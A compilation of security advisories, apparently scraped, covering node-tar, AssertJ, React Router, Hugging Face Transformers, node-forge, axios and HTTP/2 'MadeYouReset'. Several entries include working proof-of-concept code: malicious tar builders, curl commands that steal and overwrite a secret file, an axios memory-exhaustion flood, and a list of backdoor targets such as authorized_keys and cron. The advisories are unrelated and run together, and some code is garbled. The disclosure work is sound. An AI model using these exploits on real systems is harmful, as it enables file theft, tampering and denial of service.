The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC Setup
Create a new directory with these files:
poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here)
package.json json { "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/) DATABASEPASSWORD=supersecret123
server.js (vulnerable file upload server) javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar');
const PORT = 3000; const UPLOADDIR = path.join(dirname, 'uploads'); fs.mkdirSync(UPLOADDIR, { recursive: true });
http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOADDIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOADDIR, 'upload.tar'), cwd: UPLOADDIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(http://localhost:${PORT}));
create-malicious-tar.js (attacker creates exploit TAR) javascript const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; }
// Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar');
Run
bash Setup npm install echo "DATABASEPASSWORD=supersecret123" > secret.txt
Terminal 1: Start server node server.js
Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read Returns: DATABASEPASSWORD=supersecret123
WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write
Confirm secret.txt was modified cat secret.txt Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | ~/.ssh/authorizedkeys | Direct shell access to server | | Cron Backdoor | /etc/cron.d/, ~/.crontab | Persistent code execution | | Shell RC Files | ~/.bashrc, ~/.profile | Code execution on user login | | Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests | | Systemd Services | /etc/systemd/system/.service | Code execution on service restart | | User Creation | /etc/passwd (if running as root) | Add new privileged user |
Data Exfiltration & Corruption
1. Overwrite arbitrary files via hardlink escape + subsequent write operations 2. Read sensitive files by creating hardlinks that point outside extraction directory 3. Corrupt databases and application state 4. Steal credentials from config files, .env, secrets
An XML External Entity (XXE) vulnerability exists in org.assertj.core.util.xml.XmlStringPrettyFormatter: the toXmlDocument(String) method initializes DocumentBuilderFactory with default settings, without disabling DTDs or external entities. This formatter is used by the isXmlEqualTo(CharSequence) assertion for CharSequence values.
An application is vulnerable only when it uses untrusted XML input with one of the following methods:
- isXmlEqualTo(CharSequence) from org.assertj.core.api.AbstractCharSequenceAssert - xmlPrettyFormat(String) from org.assertj.core.util.xml.XmlStringPrettyFormatter
Impact
If untrusted XML input is processed by the methods mentioned above (e.g., in test environments handling external fixture files), an attacker could:
- Read arbitrary local files via file:// URIs (e.g., /etc/passwd, application configuration files) - Perform Server-Side Request Forgery (SSRF) via HTTP/HTTPS URIs - Cause Denial of Service via "Billion Laughs" entity expansion attacks
Mitigation
isXmlEqualTo(CharSequence) has been deprecated in favor of XMLUnit in version 3.18.0 and will be removed in version 4.0. Users of affected versions should, in order of preference:
1. Replace isXmlEqualTo(CharSequence) with XMLUnit, or 2. Upgrade to version 3.27.7, or 3. Avoid using isXmlEqualTo(CharSequence) or XmlStringPrettyFormatter with untrusted input.
XmlStringPrettyFormatter has historically been considered a utility for isXmlEqualTo(CharSequence) rather than a feature for AssertJ users, so it is deprecated in version 3.27.7 and removed in version 4.0, with no replacement.
References
- CWE-611: Improper Restriction of XML External Entity Reference - OWASP XXE Prevention Cheat Sheet
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$
---
PoC
javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');
const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);
console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});
// Construct stream const stream = new PassThrough();
const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);
// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();
// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();
// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End stream.write(Buffer.alloc(1024)); stream.end();
// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });
stream.pipe(extract);
extract.on('end', () => { console.log('[] Extraction complete');
// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });
---
Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
---
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---
Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
javascript const fs = require('fs') const path = require('path') const tar = require('tar')
const out = path.resolve('outrepro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd'
// Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINALDATA')
// 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploithard', type: 'Link', size: 0, linkpath: secret }) h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploitsym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode()
// Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[] Extracting malicious tarball...')
// 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[] Verifying payload...')
// Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploithard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {}
// Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploitsym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} })
Impact
Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)
React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect.
[!NOTE] This does not impact applications that use Declarative Mode (<BrowserRouter>).
A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys.
[!NOTE] This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Hugging Face Transformers GLM4 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of weights. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28309.
Hugging Face Transformers HuBERT convertconfig Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must convert a malicious checkpoint.
The specific flaw exists within the convertconfig function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28253.
Hugging Face Transformers megatrongpt2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27984.
Hugging Face Transformers X-CLIP Checkpoint Conversion Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28308.
Overview An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.
Am I Affected? You are affected by this vulnerability if you meet all of the following preconditions:
1. Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0 2. Application uses the jws.createVerify() function for HMAC algorithms 3. Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines
You are NOT affected by this vulnerability if you meet any of the following preconditions: 1. Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability) 2. Application uses only asymmetric algorithms (e.g. RS256) 3. Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines
Fix Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1
Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.
Summary
An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.
Details
An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.
Impact
This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.
This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.
Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.
Summary
CVE-2025-12816 has been reserved by CERT/CC
Description An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
Details
A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.
This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).
Impact
This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.
This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.
The following components in node-forge are impacted. lib/asn1.js lib/x509.js lib/pkcs12.js lib/pkcs7.js lib/rsa.js lib/pbe.js lib/ed25519.js
Any downstream application using these components is impacted.
These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.
Description of Vulnerability:
An issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rdssuperuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.
AWS recommends customers upgrade to the following versions: AWS Python Wrapper to v1.4.0
Source of Vulnerability Report: Allistair Ishmael Hakim <allistair.hakim@gmail.com>
Affected products & versions: AWS Python Wrapper < 1.4.0
Platforms: MacOS/Windows/Linux
Improper input validation in JDBC Driver for SQL Server allows an unauthorized attacker to perform spoofing over a network.
fast-redact is a package that provides do very fast object redaction. A Prototype Pollution vulnerability in the nestedRestore function of fast-redact version 3.5.0 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence. NOTE: the Supplier disputes this because the reporter only demonstrated access to properties by an internal utility function, and there is no means for achieving prototype pollution via the public API.
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); }
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATAURLPATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); }
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
js const axios = require('axios');
async function main() { // this example decodes ~120 MB const base64Size = 160000000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' });
console.log('Received bytes:', response.data.length); }
main().catch(err => { console.error('Error:', err.message); });
Run with limited heap to force a crash:
bash node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … …
Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream";
const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 });
const app = express(); const PORT = Number(process.env.PORT || 8081); const BODYLIMIT = process.env.MAXCLIENTBODY || "50mb";
app.use(express.json({ limit: BODYLIMIT })); app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/ POST /preview { "url": "<http|https|data URL>" } Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). /
app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" });
let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 1024, // Axios will ignore this for data: maxBodyLength: 8 1024, // Axios will ignore this for data: signal: controller.signal });
// stream only the first 64KB back const cap = 64 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } });
app.listen(PORT, () => { console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT}); console.log(Heap cap via NODEOPTIONS, JSON limit via MAXCLIENTBODY (default ${BODYLIMIT}).); }); Run this app and send 3 post requests: sh SIZEMB=35 node -e 'const n=+process.env.SIZEMB10241024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null
---
Suggestions
1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
IBM WebSphere Application Server Liberty 18.0.0.2 through 25.0.0.8 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.
Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”
MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.
Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RSTSTREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOWUPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the ENDSTREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RSTSTREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RSTSTREAM, and some implementations send GOAWAY when receiving a WINDOWUPDATE frame with increment of 0.
The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGSMAXCONCURRENTSTREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.
Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RSTSTREAM.
Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with ENDSTREAM flag on a new stream X. 3. Attacker sends WINDOWUPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOWUPDATE and immediately sends RSTSTREAM for stream X to the client (+ decreases the active streams counter by 1).
The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)
Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RSTSTREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RSTSTREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RSTSTREAM.
Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RSTSTREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOWUPDATE and PRIORITY), and treat protocol flow errors as a connection error.
As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.
If you have any questions, we will be happy to clarify or schedule a Zoom call.
Gal, Anat and Yaniv.
IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.8 could allow a remote attacker to bypass security restrictions caused by a failure to honor JMS messaging configuration